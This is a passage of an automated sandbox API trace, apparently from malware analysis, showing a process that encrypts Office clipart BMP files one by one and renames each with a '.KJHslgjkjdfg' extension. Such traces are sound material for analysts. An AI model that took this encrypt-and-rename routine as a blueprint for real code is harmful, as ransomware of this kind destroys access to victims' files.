| out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0188.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.148] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0188.148] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.148] SetEndOfFile (hFile=0x114) returned 1 [0188.150] GetProcessHeap () returned 0x2a0000 [0188.150] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.150] GetProcessHeap () returned 0x2a0000 [0188.150] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.kjhslgjkjdfg")) returned 1 [0188.152] CloseHandle (hObject=0x114) returned 1 [0188.152] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cd9e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55cd9e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02074U.BMP", cAlternateFileName="")) returned 1 [0188.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.154] GetProcessHeap () returned 0x2a0000 [0188.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.154] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.154] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.154] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.154] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.154] GetProcessHeap () returned 0x2a0000 [0188.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.154] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.154] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.154] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.157] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.157] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.157] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.157] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.157] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.157] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.157] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.167] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0188.167] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.167] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.167] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.167] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.167] SetEndOfFile (hFile=0x114) returned 1 [0188.170] GetProcessHeap () returned 0x2a0000 [0188.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.170] GetProcessHeap () returned 0x2a0000 [0188.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.kjhslgjkjdfg")) returned 1 [0188.171] CloseHandle (hObject=0x114) returned 1 [0188.171] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c443600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c443600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02208U.BMP", cAlternateFileName="")) returned 1 [0188.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.174] GetProcessHeap () returned 0x2a0000 [0188.174] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.174] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.174] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.174] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.174] GetProcessHeap () returned 0x2a0000 [0188.174] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.174] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.174] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.174] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.176] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.176] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.177] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0188.178] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.178] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.178] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.178] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.178] SetEndOfFile (hFile=0x114) returned 1 [0188.181] GetProcessHeap () returned 0x2a0000 [0188.181] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.181] GetProcessHeap () returned 0x2a0000 [0188.181] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.kjhslgjkjdfg")) returned 1 [0188.183] CloseHandle (hObject=0x114) returned 1 [0188.183] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0cfa00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e0cfa00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02223U.BMP", cAlternateFileName="")) returned 1 [0188.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.185] GetProcessHeap () returned 0x2a0000 [0188.185] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.185] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.187] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.187] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.187] GetProcessHeap () returned 0x2a0000 [0188.187] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.187] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.187] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.187] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.187] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.187] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.187] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.187] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.187] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.188] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.188] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.188] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.188] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0188.209] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0188.210] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.210] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0188.210] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.211] SetEndOfFile (hFile=0x114) returned 1 [0188.215] GetProcessHeap () returned 0x2a0000 [0188.215] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.215] GetProcessHeap () returned 0x2a0000 [0188.215] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.kjhslgjkjdfg")) returned 1 [0188.217] CloseHandle (hObject=0x114) returned 1 [0188.218] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d92b00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30d92b00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02291U.BMP", cAlternateFileName="")) returned 1 [0188.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.219] GetProcessHeap () returned 0x2a0000 [0188.220] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.220] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.220] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.220] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.224] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.224] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.224] GetProcessHeap () returned 0x2a0000 [0188.224] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.224] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.224] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.224] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.224] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.225] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.225] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.225] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.225] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.225] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.225] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.225] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.226] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0188.228] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0188.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.230] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0188.230] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.230] SetEndOfFile (hFile=0x114) returned 1 [0188.235] GetProcessHeap () returned 0x2a0000 [0188.235] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.235] GetProcessHeap () returned 0x2a0000 [0188.235] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.kjhslgjkjdfg")) returned 1 [0188.238] CloseHandle (hObject=0x114) returned 1 [0188.238] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2880f000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 